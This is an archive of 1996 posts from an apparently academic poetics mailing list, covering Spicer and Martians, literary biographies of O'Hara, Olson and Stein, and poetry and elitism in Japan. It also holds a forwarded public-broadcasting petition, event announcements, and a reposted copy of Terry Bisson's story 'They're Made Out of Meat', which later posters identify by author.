md: see above. there's a history of western philosophy, theology and psychology struggling with these (sometimes painful) concepts, events and practices. i guess for me "metaphysical" includes the physical, and also reflection on the physical. so that, for example, the reality of death in childbirth for many women until relatively recently is not only a physical problem, but also a psychological one that raises questions about, for example, the value of one's

own life, what risks are "normal" to take, etc., the human dilemmas of "choice," freedom, and so on.

lp: Why is the dilemma of having a body connected with homosociality? Are we saying homosociality is the dilemma? (Reading Spicer now, I can't imagine his ever being in the closet. He seems never to have cared anything about the issue of who knew what.)

md: how'd the closet get into this? as far as i know, spicer was out from a fairly early age. being out doesn't solve all problems of mortality, etc. i think i was talking about the current new age angel fad anyway, not spicer.

lp: And finally: shouldn't we trust Spicer a little more than this? To connect his poetry (however loosely) with Oppen (with his serious inflexibility about most things - for example, read Barry Watten on David Antin's take on Oppen) is at best alarming. It seems likely that for Spicer Martians had nothing to do with spaceships (OR Mars).

md: again, i'm confused. trust spicer more than what? i was, in my post on spicer/martians, trying out a link between the space-race era in which spicer was writing and the use of extra-planetary beings as a trope for ---whatever, creativity, otherness, utopic possibilities of community or dystopic images of alienation, all of which were issues for spicer and the community he wrote in/from/to/against/for. someone else posted the oppen quote, which i found fascinating.

bests, maria d

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287. **Maria Damon**
Re: primo bio
Wed 24 Jan 1996

---

i agree about white's genet bio, it's superb, a true marriage of minds; also, in spite of all the controversies raging around it, i found diane middlebrook's sexton bio to be intellectually sophisticated and narratively compelling. maria d

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288. **Daniel Bouchard**
The Mysteries of Space Revealed
Wed 24 Jan 1996

I wish I could properly credit the author of this piece. (Piece!?! of meat?)

How does it relate to Poetics? Well, would Oppen or Spicer have found it funny?

[redacted]

Imagine if you will... the leader of the fifth alien invader force speaking to the alien commander in chief...

"They're made out of meat."

"Meat?"

"Meat. They're made out of meat."

"Meat?"

"There's no doubt about it. We picked several from different parts of the planet, took them aboard our recon vessels, probed them all the way through. They're completely meat."

"That's impossible. What about the radio signals? The messages to the stars."

"They use the radio waves to talk, but the signals don't come from them. The signals come from machines."

"So who made the machines? That's who we want to contact."

"They made the machines. That's what I'm trying to tell you. Meat made the machines."

"That's ridiculous. How can meat make a machine? You're asking me to believe in sentient meat."

"I'm not asking you, I'm telling you. These creatures are the only sentient race in the sector and they're made out of meat."

"Maybe they're like the Orfolei. You know, a carbon-based intelligence that goes through a meat stage."

"Nope. They're born meat and they die meat. We studied them for several of their life spans, which didn't take too long. Do you have any idea the life span of meat?"

"Spare me. Okay, maybe they're only part meat. You know, like the Weddilei. A meat head with an electron plasma brain inside."

"Nope. We thought of that, since they do have meat heads like the Weddilei. But I told you, we probed them. They're meat all the way through."

"No brain?"

"Oh, there is a brain all right. It's just that the brain is made out of meat!"

"So... what does the thinking?"

"You're not understanding, are you? The brain does the thinking. The meat."

"Thinking meat! You're asking me to believe in thinking meat!"

"Yes, thinking meat! Conscious meat! Loving meat. Dreaming meat. The meat is the whole deal! Are you getting the picture?"

"Omigod. You're serious then. They're made out of meat."

"Finally, Yes. They are indeed made out meat. And they've been trying to get in touch with us for almost a hundred of their years."

"So what does the meat have in mind?"

"First it wants to talk to us. Then I imagine it wants to explore the universe, contact other sentients, swap ideas and information. The usual."

"We're supposed to talk to meat?"

"That's the idea. That's the message they're sending out by radio. 'Hello. Anyone out there? Anyone home?' That sort of thing."

"They actually do talk, then. They use words, ideas, concepts?"

"Oh, yes. Except they do it with meat."

"I thought you just told me they used radio."

"They do, but what do you think is on the radio? Meat sounds. You know how when you slap or flap meat it makes a noise? They talk by flapping their meat at each other. They can even sing by squirting air through their meat."

"Omigod. Singing meat. This is altogether too much. So what do you advise?"

"Officially or unofficially?"

"Both."

"Officially, we are required to contact, welcome, and log in any and all sentient races or multibeings in the quadrant, without prejudice, fear, or favor. Unofficially, I advise that we erase the records and forget the whole thing."

"I was hoping you would say that."

"It seems harsh, but there is a limit. Do we really want to make contact with meat?"

"I agree one hundred percent. What's there to say?" `Hello, meat. How's it going?' But will this work? How many planets are we dealing with here?"

"Just one. They can travel to other planets in special meat containers, but they can't live on them. And being meat, they only travel through C space. Which limits them to the speed of light and makes the possibility of their ever making contact pretty slim. Infinitesimal, in fact."

"So we just pretend there's no one home in the universe."

"That's it."

"Cruel. But you said it yourself, who wants to meet meat? And the ones who have been aboard our vessels, the ones you have probed? You're sure they won't remember?"

"They'll be considered crackpots if they do. We went into their heads and smoothed out their meat so that we're just a dream to them."

"A dream to meat! How strangely appropriate, that we should be meat's dream."

"And we can mark this sector unoccupied."

"Good. Agreed, officially and unofficially. Case closed. Any others? Anyone interesting on that side of the galaxy?"

"Yes, a rather shy but sweet hydrogen core cluster intelligence in a class nine star in G445 zone. Was in contact two galactic rotation ago, wants to be friendly again."

"They always come around."

"And why not? Imagine how unbearably, how unutterably cold the universe would be if one were all alone."

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289. Issa Clubb
Re: topo gigio
Wed 24 Jan 1996

I don't know why everyone is putting City Poet down. I loved it. I especially liked learning that "cup of joe" means coffee. Also, I think superficial stories about poets become more interesting after they've been repeated verbatim 3 or 4 times in the same book.

Seriously this time: recently I read the Ernst Pawel biography of Kafka ("The Nightmare of Reason") & loved it. Lots of historical contextualization -- a move away from the psychologizing portrait towards an understanding of Kafka's situation in German Jewish society.

> *jordan: without any interest in putting down nyc writing as "cocktail chatter," i must agree that the o'hara bio was a huge compilation of trivial detail that didn't give much real insight into o'h or his poetry. when we learned, for example, that the most important thing about o'hara's u-michigan period was that the seminar-room chairs were green... i mean, what a mis-spenditure of a huge advance. research, all right, but no significant content. lists of who attended various parties are fine if they're being enumerated for some greater purpose, but... it was hard to detect an*

> *intellectual raison d'etre for this huge tome. and i'm not even one of those people that objects to sordid details about writers' lives being made public. i had no trouble w/ the comments about f's drinking. it was the superficiality of the whole that was troubling.--md*

Issa Clubb
[redacted]

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290. **jms**
Re: topo gigio
Wed 24 Jan 1996

> *What's the opinion on these Stein bios-- any of them worthwhile? I've been through a few, but none seemed.*

I haven't read Wagner-Martin's _Favored Stangers_ yet although I have it beside my desk. The one from a few years ago, Souhami's _Gertrude and Alice_ does weird things like reads Stein's autobiographies without irony and too literally. I would not recommend it.

The one that seems the most accurate is still James Mellow's _Charmed Circle_ It is also very dull.

Juliana Spahr

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291. **Ray Davis**
Re: The Mysteries of Space Revealed
Wed 24 Jan 1996

Although I don't have a copy at hand, I believe that this is "They're Made Out of Meat," a story by Terry Bisson originally published in _Omni_. Bisson is a nice guy, but he would probably not be amused at having his work passed around without his name or permission. I'd suggest buying his recent short-story collection instead.

Ray

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292. Daniel Bouchard
Re: The Mysteries of Space Revealed
Wed 24 Jan 1996

> *Although I don't have a copy at hand, I believe that this is "They're Made Out of Meat," a story by Terry Bisson originally published in _Omni_. Bisson is a nice guy, but he would probably not be amused at having his work passed around without his name or permission. I'd suggest buying his recent short-story collection instead.*

Ray

_____

Ray,

Thanks for the information. Someone else also let me know after the post that it is Bisson's story. It arrived by e-mail without an author listed and in no way do I mean to piss Terry off. However, I am going to try and use the expression "flapping their meat" as often as possible in daily chit-chat, and I will probably not cite Mr. Bisson. Thanks too for the shopping tip.

[redacted]

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293. David Kellogg
Re: primo bio
Wed 24 Jan 1996

On Wed, 24 Jan 1996, Kevin Killian wrote:

> *But then again the tone of the book is like Joe McGinnis' in "Fatal Vision," as though Clark started out by liking and admiring Olson, but the book reveals a gradual and complete hatred of his subject, and in every instance Olson is placed in an unflattering light, sometimes "unfairly."*

This was my impression of Clark too; it seems clear that Clark considers Olson to have pretty much wrecked himself later in life. This assessment is worth considering, but Clark's growing distaste for Olson becomes overwhelming at least by Black Mountain and sours his readings of the later poems.

The amazing thing is that Robert Creeley wrote a blurb for the thing. My feeling is that he was snowed by the idea of the "allegory" as an examination of multiple levels of identity, multiple biographies. That at least was what he was stressed in conversation at a North Carolina reading in 1990.

Cheers,
David

~~~
~~~

296. Maria Damon
Re: The Mysteries of Space Revealed
Wed 24 Jan 1996

brilliant and silly! i think we've really amassed a lot of information here about space-race/spicer angels and martians --any grad students out there want to turn it into a paper and footnote us all?--md

↑ Index

297. David Kellogg
Re: primo bio
Wed 24 Jan 1996

On Wed, 24 Jan 1996, Issa Clubb wrote:

> *My (recently acquired, unread, & now it might stay that way) copy of Clark's Olson bio also has a blurb by Dana Gioia, which I find incongruous to say the least. I have to assume he's the same as Mr. New Formalist. Was he a) striking out into new (projective) fields, or b) writing *before* being born again as the poet-critic of the abandoned middle class?*

Answers:

a) not hardly.

b) before his self-identification as the William Bennett of poetry, Gioia worked in business, for Proctor & Gamble I believe (identified on the national news tonight as *both* the makers of Olestra (tm) nonfat fat and the #1 advertiser on daytime talk shows).

I have heard conflicting rumors about whether Gioia was in mergers & acquisitions or marketing. In one story, he's a classic Reagan-era corporate raider, while in the other version he's behind that really cool Hawaiian punch ad where the punch-bowl breaks through the wall.

Cheers,
David
~~~
~~~

↑ Index

298. **Gabrielle Welford**

Re: Forward: public broadcasting petition (fwd)

Wed 24 Jan 1996

> ----------
> This is a petition to support public funding of radio, television, and the
> arts. Apologies if you consider this junk mail. If you're not interested,
> feel free to delete now.
> If you'd like to help, add your name and pass it on to your friends and
> collegues. Thanks.
>
> PBS, NPR (National Public Radio), and the arts are facing major
> cutbacks in funding. In spite of the efforts of each station to reduce
> spending costs and streamline their services, the government officials
> believe that the funding currently going to these programs is too large a
> portion of funding for something which is seen as "unworthwhile".
> Currently, taxes from the general public for PBS equal $1.12 per person per
> year, and the National Endowment for the Arts equals $.64 a year in total.
>
> A January 1995 CNN/USA Today/Gallup poll indicated that 76% of Americans
> wish to keep funding for PBS, third only to national defense and law
> enforcement as the most valuable programs for federal funding.
>
> Each year, the Senate and House Appropriations commitees each have 13
> subcommitees with jurisdiction over many programs and agencies. Each
> subcommitee passes its own appropriation bill. The goal each year is to
> have each bill signed by the beginning of the fiscal year, which is October
> 1. In the instance of the Corporation of Public Broadcasting, the bill
> determines the funding for the next three years. When this issue comes up
> in 1996, the funding will be determined for fiscal years 1996-1998.
>
> The only way that our representatives can be aware of the base of support
> for PBS and funding for these types of programs is by making our voices
> heard. Please add your name to this list if you believe in what we stand
> for. This list will be forwarded to the President of the United States,
> the Vice President of the United States, and Representative Newt Gingrich,
> who is the instigator of the action to cut funding to these worthwhile
> programs.
>
> If you happen to be the 50th, 100th, 150th, etc. signer of this petition,
> please send it to [redacted]. This way we can keep

> track of the lists and organize them. Forward this to everyone you know,
> and help us to keep these programs alive.
>
> Thank you.
>
>
> ---
> -
> 1. Elizabeth Weinert, student, University of Northern Colorado, Greeley,
> Colorado.
> 2. Nikki Marchman, student, University of Northern Colorado, Greeley,
> Colorado.
> 3. Laura King, Salt Lake City, Utah
> 4. Mary Lambert, San Francisco, CA
> 5. Sam Tucker, Seattle, WA
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> 11. Aisha K. McGriff, North Carolina School of Science and Math
> 12. Amy Brushwood, North Carolina School of Science and Math
> 13. Mason Blackwell, student and generally great guy, The College of
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> 16. Nancy Adleman, student, Stanford University
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> 27. Sarah Battersby, student, University of Washington
> 28. Candice Mack, student, Univeristy of California at Riverside
> 29. Carmen Cheung, student, Harvard University
> |30. Irene Chen, student, Harvard University
> 31. Anna C. Lewis, student, Harvard University

> 32. Laura Brown, student, University of California at Los Angeles
> 33. Kelsey Bostwick, student, Dartmouth College
> 34. Farrah Russell, student, Dartmouth College
> 35. Justin Carter, student, Dartmouth College
> 36. Aisha Tyus , student, Dartmouth College
> 37. Deborah A. Green, Student, Dartmouth College
> 38. Robin Flechtner, Student, Dartmouth College
> 39. Christine Kim, Student, Dartmouth College
> 40. Tom Jawetz, Student, Dartmouth College
> 41. Todd J. Griset, student, Dartmouth
> 42. Julie E. Baker, Student, Dartmouth
> 43. Andrew G. Butterworth, Student, Dartmouth College
> 44. Huijung Kil, Student, Dartmouth College
> 45. Benjamin Bawden, student, Dartmouth College
> 46. Kyle Marchesseault, student, Dartmouth College
> 47. Tom Reynolds, student, Dartmouth College
> 48. Christian M. Felix, student, Dartmouth
> 49. David M. Altman, student Dartmouth College
> 50. Libby Reder, student, Dartmouth College
> 51. Alli Brugg, student, Dartmouth College
> 52. Derek Shendell, student, Dartmouth College
> 53. Robert S. Huddleston, student, Dartmouth College
> 54. Michelle Brattson, student, Dartmouth College
> 55. Shawn Snipes, student, Dartmouth College
> 56. Malia Brink, student, Dartmouth College
> 57. Randall S. Poulin, student, Dartmouth College
> 58. Peter Chin, student, Dartmouth Medical School
> 59. Julie Ann Lee, student, University of Pennsylvania
> 60. Nikki Blasberg, The Urban Institute
> 61. Laura Bond, Staff, UC, Berkeley
> 62. Judith Gonder, staff, UC Berkeley
> 63. Andrew D. Stadler, Cupertino, CA.
> 64. Jill A. Thompson, Esq., San Francisco, CA
> 65. Sharon Delmendo, De La Salle University, Manila, Philippines
> 66. Shelley Reid, English Department, Austin College
67. James P. Kneubuhl, student, University of Hawaii at Manoa
> 68. Gabrielle Welford, Univ of Hawaii at Manoa

> *If you happen to be the 50th, 100th, 150th, etc. signer of this petition, please send it to [redacted]. This way we can keep track of the lists and organize them. Forward this to everyone you know, and help us to keep these programs alive.*

↑ Index

299. **Camille Martin**
Re: primo bio
Wed 24 Jan 1996

Kevin, glad to hear that Carolyn Burke's bio of Mina Loy will be out soon!

On that subject, could you or anyone else out there please pass on to me Carolyn Burke's address?

Thanks.
Camille Martin
cxmeg.jazz.ucc.uno.edu

↑ Index

300. **Schuchat**
Re: primo bio
Thu 25 Jan 1996

Why shouldn't a "new formalist" like the Clark bio of Olson?

I didn't think it was that terrible, though I found the tone kind of incongruous, as though he was trying to keep a straight face.

It's too bad that Ed Sanders wasn't the one to write what might be the only Olson bio this millenium.

↑ Index

301. **Mark Nowak**
Micro 'Zine/Press Showcase & Forum
Thu 25 Jan 1996

As I've several e-messages on this in recent days,
here's the scoop for all interested:

Micro 'Zine/Press Poetry Showcase & Forum
Saturday, February 10th, 1996 / 11:00am-3:00pm
College of St. Catherine-Minneapolis

Over two dozen of the regions "experimental" poetrydical forms publishers have been invited to display their recent publications. During the forum, which begins at 12:30, editors will discuss the regional micro 'zine/press scene, talk about their experiences as editors, and suggest ways in which community-building activities can be pursued.

For more info. email: [redacted]

↑ Index

302. **Akitoshi Nagahata**

Re: elitism

Thu 25 Jan 1996

> *Anybody on the list from/in Japan who can speak to this figure of four to eight percent of the population writing poetry? And then, on the relative elitisms in poetry there--that is, do "serious" poets--whatever those are--watch poetry shows? Read the poetry columns? Or is the distinction between "serious" and "other" configured as something more like "accomplished" and "novice"?*
>
> *I'm in Japan but that statistic makes little sense to me. What does writing poetry mean--culturally determined, I suspect. No solace there...*
>
> *Don't know, Akitoshi Nagahata, if you're around maybe you could comment more helpfully.*
>
> *best, John Geraets*

Dear John:

I'm not sure about that, not being an expert on the Japanese poetry. But I would imagine a good proportion of the Japanese who write poetry write traditional formal poetry--tanka, haiku and others--not lineated verse which is called here "gendai-shi" or "modern poetry." Because of its brevity and formal simplicity, tanka or haiku looks to be easier to make than free verse, and hence its popularity, I guess. There are programs on the education channel for those who compose tanka or haiku poems ("t.v. shows about Japanese poetry"?); the viewers send their poems to the instructors who pick out some and revise them--something like a creative writing course on T.V. There are daily columns about poetry on the front page of newspapers, normally short commentary on one tanka or haiku poem. And in the Sunday edition a whole page is devoted to

a bit longer columns about poetry as well as sections for contributions from the readers. The columns are written by the "accomplished" poets who write as chief members of the coterie magazines and teach "novices." I doubt that they watch the T.V. tanka/haiku programs but they would probably read the newspaper columns about poetry because they are in newspapers and short. As far as I know, there are no T.V. classes for so-called "modern poetry."

It's difficult to decide whether or not the accomplished tanka/haiku poets are elite. They can be medical doctors, university professors, company executives, etc., but there are also shop clerks, farmers and housewives whose poems get published and reviewed. So one can't generalize them as social elite. There are a number of schools of haiku and tanka, and some of them are very conventional and some aren't. Tanka, especially, has a really long history, and although there are a few radical tanka poets, it's often associated with the emperor system--you can read examples in the Web version of _Ogura Hyakunin Isshu_ in the "Japanese Text Initiative" at University of Virginia and University of Pittsburgh (URL: http://etext.lib.virginia.edu/japanese/index.html)--and many people still consider it to be the national poetic form. The postwar "modern poets"--especially the "Waste Land" School--made great efforts to deny all kinds of poetry that can be associated with tanka for this reason. It should be pointed out too that there was a certain period of time in the past (during the medeival times) when some aristocrats tried to keep away from the populace what they thought of as the secret of composition.

Tanka or haiku, which is fairly easy to make and is thus open to a wide variety of population, can of course attain a high level of sophistication and/or difficulty, and if the poems get difficult, the poet who composes them might be subject to a charge of estrangement of the populace. Whether or not the practitioner is social elite (or intellectual elite), and irrespective of the intention of the poet, it seems to me that sophisticated or difficult poetry tends to be regarded here as elite literature and sometimes elitist, probably because of the relative imperviousness to the untrained readers.

Personally, though, I think sophistication is quite an important element in poetry writing.

Best.

Akitoshi Nagahata
Facutly of Language and Culture
Nagoya University
[redacted]

↑ Index

303. **Ron Silliman**
Re: topo gigio ('Salright?)
Thu 25 Jan 1996

I think every biographer runs the risk that whatever narrative frame they put over their subject will feel violative to any who actually knew the subject (consider, for example, tho it's a bio of a place more than a person, the carping that went on at the time about Martin Duberman's Black Mountain). I haven't read the Gooch yet (just picked it up remaindered) but plan to give it a fair hearing later this year.

An old acquaintance, Ilene Philipson, wrote a biography of Ethel Rosenberg a few years back in which (1) she admitted that the evidence suggested that Julius was clearly up to something, whether or not it qualified as being central to the atom spy plot and (2) speculated about why a mother would "abandon" her children by going to her execution when she could have saved herself by speaking up about point #1. Nowhere in the book was there any suggestion that point (1) above justified being murdered by the state. I know that Ilene thought of her book as a sympathetic portrait and I don't think she was at all prepared for the backlash that flew out of the still pretty close-knit veterans of the Rosenberg Defense and the Rosenberg's sons, Michael and Robby. Biography of those about whom others can still testify seems to me an impossible task.

In Clark's case, the great sin is its total disinterestedness in the poetry of Olson, even though presumably it was the occasion for writing the bio in the first place. There's an awful lot of psychological projection here as well (Clark seems to identify with the "poet as monster" theme both here and in his work on Celine). The fundamental gimmick of the book is Clark's discovery of Olson's affair in the early 1950s: he then accounts for everything Olson wrote during that fertile period by relating it to this one detail. The theme of allegory (much overstated in its importance to Olson at least for my reading) isn't carried forward very well. As an idea it comes and goes, invoked once in awhile and then just dropped for the next twenty pages. Sort of like lumps in your oatmeal. Some of the book is so poorly stitched together that I wonder seriously if Clark himself wrote all of it. At one point the UC Press was supposed to issue this, so its appearance from Norton suggests some sort of turbulent history.

The sad thing is that it's unlikely that we will have another attempt at a bio any time soon. A book like this really blocks others. As it is, several of the sources Clark used have passed away in recent years.

For more positive examples of biography as genre, what about Barbara Guest's work on HD?

Ron Silliman
[redacted]

↑ Index

304. Jordan Davis
bio/revision
Thu 25 Jan 1996

Issa,

For an odd intertext to Gioia's interest in Olson/Clark, check out (i.e. don't pay for!) Amy Clampitt's _The Kingfisher_ which, yes, has a couple of epigraphs from _Call Me Ishmael_ as I remember.

Oh, does anybody know of good recent work on revision?

Jordan

↑ Index

305. Jordan Davis
oh daddy who can stand it
Thu 25 Jan 1996

While we're in a remote suburb of O'Hara,
would it be okay if I went back and asked
Hank Lazer about the (ugh!) he put next
to the word "personal" in a post not too
long ago? I thought at the time I knew
what it meant but I keep seeing it in
these dreams I have of flying by Jupiter
right outside the module and fluttering

Jordan

↑ Index

306. Burt Kimmelman
Scholars (junior and/or senior) needed to write essays for the Encyclopedia of Jewish-American Poets and Playwrights. One of the two editors, Mike TAub, has asked me to pass on the following list of writers' names to you in the hoohope that some of you may wish to take Taub up on this. Taub's e-mail address [redacted]. - Burt Kimmelman
Thu 25 Jan 1996

From: MX%"[redacted]" 24-JAN-1996 21:29:34.00
To: MX%"[redacted]"

CC:
Subj: Dear Burt,

Date: Wed, 24 Jan 1996 13:55:24 -0400 (EDT)
From: [redacted]
Subject: Dear Burt,
To: [redacted]

How are you? I hoe the snow didn't hampe your activities too much? I thought you should use your comm. sjkills to get word out that these are still open: Burnshaw, M. Bell, Atlas, David Lehman, Aaron Fgel, Ann Lauteraach, Cynthia McDonals, Lorine Niedeceer, Gail Mazur, Carl Rokosi, Vincent Katz.(Sorryff r typos) These are all poets. Your help is much appreciated. Thanksaand Happy belated New Year! Michael

↑ Index

307. Schuchat
Re: elitism
Thu 25 Jan 1996

Further to Nagahata-san's comments on widespread poetry writing in Japan, and its relationship to elitism (and also to the original post which came off of a New York Times piece on poetry in Japan), there is a long Japanese tradition of accumulating cultural capital through skill at various cultural pursuits, with teachers, schools, and intensely social practice. I think it ceased to be exclusively "elite" practice (in the sense of courtly activity) and became generally middle-class by the 17th century.

the NY Times article referred to a best-selling book of tanka from several years ago, unnanmed, which was probably the "Sarada kinenbi" (Salad Anniversary) which was controversial for using western loan words and other very contempory vocabulary in the tanka (34 syllable) form, which was serious genre mixing and sort of violated the proprieties. it was also interesting for bringing a certain voice into Japanese poetry that had not existed before, something like the Anne Waldman voice in Giant Night or Baby Breakdown, and it was controversial because of that sensibility as well. the voice of the Office Lady.

↑ Index

308. Willa Jarnagin
Re: The Mysteries of Space Revealed
Thu 25 Jan 1996

> *brilliant and silly! i think we've really amassed a lot of information here about space-race/spicer angels and martians --any grad students out there want to turn it into a paper and footnote us all?--md*

No grad students, just us aliens and sentient chickens.

Willa

↑ Index

309. Chris Stroffolino
Japan (Toshiro Yamizaki)
Thu 25 Jan 1996

Thanks for the info. on JAPAN.... Curious about more of these "Wasteland" poets... Takahashi I guess is one. But does anybody on this list (whether Japanese or other) know anything about TOSHIRO YAMAZAKI (hopefully spelled right)--- There was a poem of his in an old CALIBAN (pre #10) called something like "I'm Sending Lautreamont To America" which was really interesting I thought--but I was never able to find more by him (and the ed. of Caliban never answered my letter and gave me the address of the poet-- I *HATE* when editors don't do that...and when (oh but that's another story0...chris stroffolino

↑ Index

310. Burt Kimmelman
I've been asked to forward this to the list. - BK
Thu 25 Jan 1996

From: ADMIN::ROTHENBERG 25-JAN-1996 12:00:18.26
To: KIMMELMAN
CC:
Subj:

From: ADMIN::SABINE 5-JAN-1996 10:17:55.86
To: ROTHENBERG
CC:
Subj: tn event

From: ADMIN::ROTHENBERG 3-JAN-1996 11:00:42.79
To: SABINE
CC:
Subj: spread this around

****
IS NATURE DEAD?
IT DEPENDS ON WHAT YOU READ.
****

Celebrate the Launching of
TERRA NOVA: NATURE & CULTURE
The Literary Magazine of the New Environmentalism

at The Learning Alliance
324 Lafayette Street, NYC
January 26th and 27th, 1996

Today, there is a need to understand the human relationship to nature in a bold and different way. Terra Nova is the journal of this new culture. It is not one-sided, but diverse and exploratory. It is not sentimental or starry-eyed, but accepts nature in all its confusion and complexity. It does not spurn technology, but looks for creative visions of the future.

Terra Nova digs into the mix between the urbane and the wild with contributions from philosophy, literature, history, anthropology, science, environmental studies, politics, activism and the arts. A wide-ranging mix of essays, reportage, interviews, fiction, poetry, photography, and all forms of cultural reflection on the human relationship to nature. By dissolving the borders between the academic and the literary, Terra Nova will show that serious discussion of environmental issues can be found in the most surprising places.

Terra Nova is for anyone interested in the relationship between nature and culture. Is that you? We hope to see you there. --David Rothenberg, editor.

RToo many people labor under the misconception that our environmental crisis is a problem of techonology. The material in Terra Nova reminds us that itUs a problem of the human spirit, and that its solutions will have as much to do with the power of the soul as with solar power.S
Bill McKibben

RTerra Nova promises to make an important contribution to the most critical descisions facing humanity today.S
Peter Matthiessen

Friday January 26th, 8 pm-10pm
Readings from our first issues. Party to Follow!

Editor David Rothenberg introduces the whole project. Charles Bowden rhapsodizes the rise and fall of the American desert. Michael Fox on respect for the Earth and communal good. David Abram reading from The Spell of the Sensuous. Poetry by Ben Lieberman, Arthur Solway. Claire Pentecost playing animal charades. Amanda Means photogramming the inside of flowers. Melissa Nelson on Native American views of nature. John P. OUGrady on the disappearance of D.B. Cooper. Music with David Rothenberg, Glen Moore, and

Glen Velez. David Appelbaum reading from Everyday Spirits. Georgia Marsh on painting beyond nature.

Saturday, January 27th, 10am-4pm
Workshops and panel discussions around the following themes:

ART Adam David Clayman (photographer), Claire Pentecost (artist, writer), Arthur Solway (poet, art critic), Tim Druckrey (photo critic, curator)

How can art comment on the relationship between humanity and nature without becoming propoganda? How can we judge the quality of art whose subject is our relationship with nature? What natural images have we seen too much of, and what have we seen too little of?

PUBLISHING
Emerson Blake (Orion Magazine), Steve Chase (South End Press), Jim Motovalli (E Magazine), Charles Bowden (writer), Sabine Hrechdakian (Terra Nova), David Applebaum (Parabola)

Who is publishing environmental thought these days? Do they realize it? Does it sell? Should it? How should nature/culture writing be better marketed? Does the public care?

EDUCATION
Mitch Thomashow (Antioch New England), Melissa Nelson (UC Davis), John Clark, (Loyola New Orleans), Wendy Brawer (designer, creator of NYC GreenMap), Amy Knisley (Terra Nova)

Should environmental ideas seep into the entire curriculum? What do you do with these degrees once you're done? Where should you go to get one?

MUSIC AND MAGIC
David Rothenberg (clarinet), Michael Fox (didjeridu), Glen Moore (bass), David Abram (magic)

Music seems less representational than other arts, so it is often left out of the environmentalist fray, or relegated to flute and birdsong atmospherics. Is there more that music can do?

Admission is sliding scale, pay what you can based on income: Friday: $5-$15, Saturday: $25-$45

For information on the Event call: Brian Donoghue, The Learning Alliance,
324 Lafayette Street New York, NY 10012 phone [redacted]
e-mail: [redacted]
subway: take 6 to Bleecker St. or B, D, F, Q to Broadway-Lafayette.

For information on TERRA NOVA e-mail:
[redacted]

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311. Brian McHale
Re: boys in space
Thu 25 Jan 1996

Maria D, is there a way I could get a look at your piece on angels? is it going to appear somewhere? I've been working on angels & aliens too, but kind of relegated the whole thing to the backburner when popular angelology reached cri tical mass & overwhelmed by efforts to stay abreast of it. I liked very much your material on angels & Duncan/Spicer nexus in "Dark End of the Street," & am curious where you have gone with it since then.
Brian

↑ Index

312. jeffrey timmons
xxx/event: one
Thu 25 Jan 1996

xxx/event: one

they took over the campus at
arizona state university this week
75,000 people coming for the supperbowl
corporate hospitality suites rise over the sacred
parking lots worshiped by high and low alike
classes were cancelled for two days
closed the library early
locked the doors completely to accomodate
stuporsunday
official souvenir vendor distribution sites for all
this splurf-fest capital guzzle feed-trough
greenback shower of the sports season
a soft-drink company (who will remain
anonymous so as not to endorse this product unwittingly)
will throw a party for students with hot dogs for sale
a local hemp spokesman says he will sell dope at the scupperbog
the economic wind fall for tempe phoenix
arizona will be
tremendous according to the saturation coverage by
the arizona republic(an) for the potential to "cash-in"

on the xxx/event
arizona state university is "bloated and inefficient"
according to a republican govenor whos filed for bankruptcy
budget cuts will likely lead to tuition raises while the other two state schools will suffer no such cutbacks
the stutterbloff is on more peoples minds than the next goverment shut-down
arizona state university students marched down the main strip of tempe protesting the ironies of this money-gozzling fleet-ditch diving city . . .

↑ Index

313. **jeffrey timmons**

Re: Forward: public broadcasting petition (fwd)

Thu 25 Jan 1996

On Wed, 24 Jan 1996, Gabrielle Welford wrote:

> ----------
> *This is a petition to support public funding of radio, television, and the arts. Apologies if you consider this junk mail. If you're not interested, feel free to delete now.*
> *If you'd like to help, add your name and pass it on to your friends and collegues. Thanks.*
>
> *PBS, NPR (National Public Radio), and the arts are facing major cutbacks in funding. In spite of the efforts of each station to reduce spending costs and streamline their services, the government officials believe that the funding currently going to these programs is too large a portion of funding for something which is seen as "unworthwhile". Currently, taxes from the general public for PBS equal $1.12 per person per year, and the National Endowment for the Arts equals $.64 a year in total.*
>
> *A January 1995 CNN/USA Today/Gallup poll indicated that 76% of Americans wish to keep funding for PBS, third only to national defense and law enforcement as the most valuable programs for federal funding.*
>
> *Each year, the Senate and House Appropriations commitees each have 13 subcommitees with jurisdiction over many programs and agencies. Each subcommitee passes its own appropriation bill. The goal each year is to have each bill signed by the beginning of the fiscal year, which is October 1. In the instance of the Corporation of Public Broadcasting, the bill determines the funding for the next three years. When this issue comes up in 1996, the funding will be determined for fiscal years 1996-1998.*

The only way that our representatives can be aware of the base of support for PBS and funding for these types of programs is by making our voices heard. Please add your name to this list if you believe in what we stand for. This list will be forwarded to the President of the United States, the Vice President of the United States, and Representative Newt Gingrich, who is the instigator of the action to cut funding to these worthwhile programs.

If you happen to be the 50th, 100th, 150th, etc. signer of this petition, please send it to [redacted]. This way we can keep track of the lists and organize them. Forward this to everyone you know, and help us to keep these programs alive.

Thank you.

-

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10. Alex Goolsby, student, Colgate University, Hamilton, NY
11. Aisha K. McGriff, North Carolina School of Science and Math
12. Amy Brushwood, North Carolina School of Science and Math
13. Mason Blackwell, student and generally great guy, The College of William and Mary
14. Melinda Murphy, student, St. Mary's College of Maryland
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47. Tom Reynolds, student, Dartmouth College
48. Christian M. Felix, student, Dartmouth
49. David M. Altman, student Dartmouth College
50. Libby Reder, student, Dartmouth College
51. Alli Brugg, student, Dartmouth College
52. Derek Shendell, student, Dartmouth College
53. Robert S. Huddleston, student, Dartmouth College
54. Michelle Brattson, student, Dartmouth College
55. Shawn Snipes, student, Dartmouth College
56. Malia Brink, student, Dartmouth College
57. Randall S. Poulin, student, Dartmouth College
58. Peter Chin, student, Dartmouth Medical School
59. Julie Ann Lee, student, University of Pennsylvania
60. Nikki Blasberg, The Urban Institute
61. Laura Bond, Staff, UC, Berkeley
62. Judith Gonder, staff, UC Berkeley
63. Andrew D. Stadler, Cupertino, CA.
64. Jill A. Thompson, Esq., San Francisco, CA
65. Sharon Delmendo, De La Salle University, Manila, Philippines
66. Shelley Reid, English Department, Austin College
67. James P. Kneubuhl, student, University of Hawaii at Manoa
68. Gabrielle Welford, Univ of Hawaii at Manoa
69 Jeffrey W. Timmons, Arizona State University

If you happen to be the 50th, 100th, 150th, etc. signer of this petition, please send it to [redacted]. This way we can keep track of the lists and organize them. Forward this to everyone you know, and help us to keep these programs alive.

↑ Index

314. Maria Damon
Re: The Mysteries of Space Revealed
Thu 25 Jan 1996

hi willa, you sentient chicken you!
i reallly will call one of these days!
maria d

↑ Index

315. Akitoshi Nagahata
Japanese poetry and elitism (follow-up)
Thu 25 Jan 1996

